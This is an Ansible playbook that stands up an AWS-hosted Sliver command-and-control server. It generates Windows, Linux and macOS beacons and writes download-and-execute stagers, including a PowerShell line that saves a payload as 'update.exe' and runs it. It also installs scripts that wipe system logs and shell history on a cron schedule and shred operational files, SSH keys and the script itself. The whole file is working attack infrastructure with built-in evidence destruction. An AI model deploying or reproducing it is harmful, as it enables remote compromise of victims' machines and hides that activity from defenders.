--- - name: Deploy AWS C2 server hosts: localhost gather_facts: false connection: local vars: region: "{{ aws_region | default('us-east-1') }}" instance_type: "{{ size | default('t2.medium') }}" instance_name: "{{ c2_name | default('c2') }}" domain: "{{ domain | default('example.com') }}" c2_subdomain: "mail" tasks: - name: Set a random AWS region if not specified set_fact: selected_aws_region: "{{ aws_region_choices | random }}" when: aws_region is not defined - name: Create an EC2 key pair amazon.aws.ec2_key: name: "{{ instance_name }}" region: "{{ region }}" state: present register: key_pair - name: Save private key locally copy: content: "{{ key_pair.key.private_key }}" dest: "~/.ssh/{{ instance_name }}.pem" mode: "0600" when: key_pair.changed - name: Create security group for C2 server amazon.aws.ec2_group: name: "{{ instance_name }}-sg" description: "Security group for C2 server" region: "{{ region }}" rules: - proto: tcp ports: - 22 - 50051 # Sliver gRPC port - 8888 # C2 HTTP listener - 8443 # Beacon server cidr_ip: 0.0.0.0/0 rules_egress: - proto: -1 cidr_ip: 0.0.0.0/0 register: c2_sg - name: Launch C2 EC2 instance amazon.aws.ec2_instance: name: "{{ instance_name }}" region: "{{ region }}" image_id: "{{ ami_map[region] }}" instance_type: "{{ instance_type }}" key_name: "{{ instance_name }}" security_group: "{{ c2_sg.group_id }}" network: assign_public_ip: true tags: Name: "{{ instance_name }}" Role: "c2" wait: yes register: c2_instance - name: Save C2 IP set_fact: c2_ip: "{{ c2_instance.instances[0].public_ip_address }}" - name: Wait for SSH to become available wait_for: host: "{{ c2_ip }}" port: 22 delay: 10 timeout: 300 state: started - name: Add C2 server to inventory add_host: name: c2 ansible_host: "{{ c2_ip }}" ansible_user: "{{ ssh_user | default('kali') }}" ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem" groups: c2servers - name: Configure C2 server hosts: c2servers become: true vars: domain: "{{ domain | default('example.com') }}" c2_subdomain: "mail" letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" zero_logs: "{{ zero_logs | default(true) }}" redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" tasks: - name: Update apt cache apt: update_cache: yes - name: Install required packages apt: name: - git - wget - curl - python3-pip - golang - tmux - nmap - jq - secure-delete - socat state: present - name: Create directories for C2 operation file: path: "{{ item }}" state: directory mode: '0700' owner: root group: root with_items: - /opt/c2 - /opt/beacons - /opt/payloads - name: Create clean-logs.sh script copy: content: | #!/bin/bash # Zero-logs maintenance script umask 077 # Disable syslog temporarily systemctl stop rsyslog 2>/dev/null systemctl stop systemd-journald 2>/dev/null # Clear system logs find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; journalctl --vacuum-time=1s 2>/dev/null # Clear bash history for histfile in /root/.bash_history /home/*/.bash_history; do [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null done history -c # Clear Sliver logs find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null # Clear temporary directories rm -rf /tmp/* /var/tmp/* 2>/dev/null # Restart logging services systemctl start systemd-journald 2>/dev/null systemctl start rsyslog 2>/dev/null echo "[+] Log cleaning complete" exit 0 dest: /opt/c2/clean-logs.sh mode: '0700' owner: root group: root - name: Create secure-exit.sh script copy: content: | #!/bin/bash # Secure cleanup script # Configuration SECURE_DELETE_PASSES=7 MEMORY_WIPE=true # Set secure umask umask 077 # Function to securely delete files secure_delete() { local target=$1 echo "[+] Securely deleting: $target" if command -v srm > /dev/null; then srm -vzf $target 2>/dev/null elif command -v shred > /dev/null; then shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null else # Fallback to dd if specialized tools aren't available dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null rm -f $target 2>/dev/null fi } echo "[+] Beginning secure exit procedure..." # Stop all operational services echo "[+] Stopping operational services..." services=("sliver") for service in "${services[@]}"; do systemctl stop $service 2>/dev/null done # Kill any remaining operational processes echo "[+] Terminating operational processes..." process_names=("sliver" "nc" "python") for proc in "${process_names[@]}"; do pkill -9 $proc 2>/dev/null done # Clear all logs echo "[+] Clearing logs..." bash /opt/c2/clean-logs.sh # Securely delete operational files echo "[+] Removing operational files..." operational_dirs=( "/opt/c2" "/opt/beacons" "/opt/payloads" "/root/.sliver" ) for dir in "${operational_dirs[@]}"; do find $dir -type f 2>/dev/null | while read file; do secure_delete "$file" done rm -rf $dir 2>/dev/null done # Remove SSH keys echo "[+] Removing SSH keys and configs..." find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do secure_delete "$file" done # Clean memory if requested if $MEMORY_WIPE; then echo "[+] Wiping system memory..." sync echo 3 > /proc/sys/vm/drop_caches swapoff -a swapon -a fi echo "[+] Secure exit completed. Infrastructure has been sanitized." # Remove this script itself exec shred -n $SECURE_DELETE_PASSES -uz $0 dest: /opt/c2/secure-exit.sh mode: '0700' owner: root group: root - name: Create beacon-server.sh script copy: content: | #!/bin/bash # Beacon server script # Configuration BEACONS_DIR="/opt/beacons" WEBSERVER_PORT=8443 # Set secure umask umask 077 # Ensure beacons directory exists mkdir -p $BEACONS_DIR # Generate beacons using Sliver echo "[+] Generating beacons for all platforms..." # Make sure Sliver server is running if ! pgrep -x "sliver-server" > /dev/null; then echo "[!] Sliver server is not running, starting it..." systemctl start sliver sleep 5 fi # Generate Windows beacon sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe # Generate Linux beacon sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux # Generate macOS beacon sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos # Generate stagers echo "#!/bin/bash curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh chmod +x $BEACONS_DIR/beacon.sh echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; \$url = 'http://{{ ansible_host }}:8443/windows.exe'; \$outpath = \"\$env:TEMP\\update.exe\"; Invoke-WebRequest -Uri \$url -OutFile \$outpath; Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 echo "[+] All beacons generated successfully" # Serve beacons using Python's HTTP server echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." cd $BEACONS_DIR python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & SERVER_PID=$! echo "[+] Beacon server started with PID $SERVER_PID" echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/" # Keep script running trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT while true; do sleep 1; done dest: /opt/c2/beacon-server.sh mode: '0700' owner: root group: root - name: Install Sliver C2 framework shell: | curl https://sliver.sh/install | bash args: creates: /usr/local/bin/sliver-server - name: Create Sliver service file copy: content: | [Unit] Description=Sliver C2 Server After=network.target [Service] Type=simple User=root Group=root WorkingDirectory=/root/.sliver ExecStart=/usr/local/bin/sliver-server daemon Restart=always RestartSec=10 # Security measures PrivateTmp=true ProtectHome=false NoNewPrivileges=true # Hide process information StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target dest: /etc/systemd/system/sliver.service mode: '0644' owner: root group: root - name: Start and enable Sliver service systemd: name: sliver state: started enabled: yes daemon_reload: yes - name: Set up cron job for log cleaning cron: name: "Clean logs" minute: "0" hour: "*/6" job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" when: zero_logs|bool - name: Start beacon server shell: | nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 & args: creates: /opt/beacons/windows.exe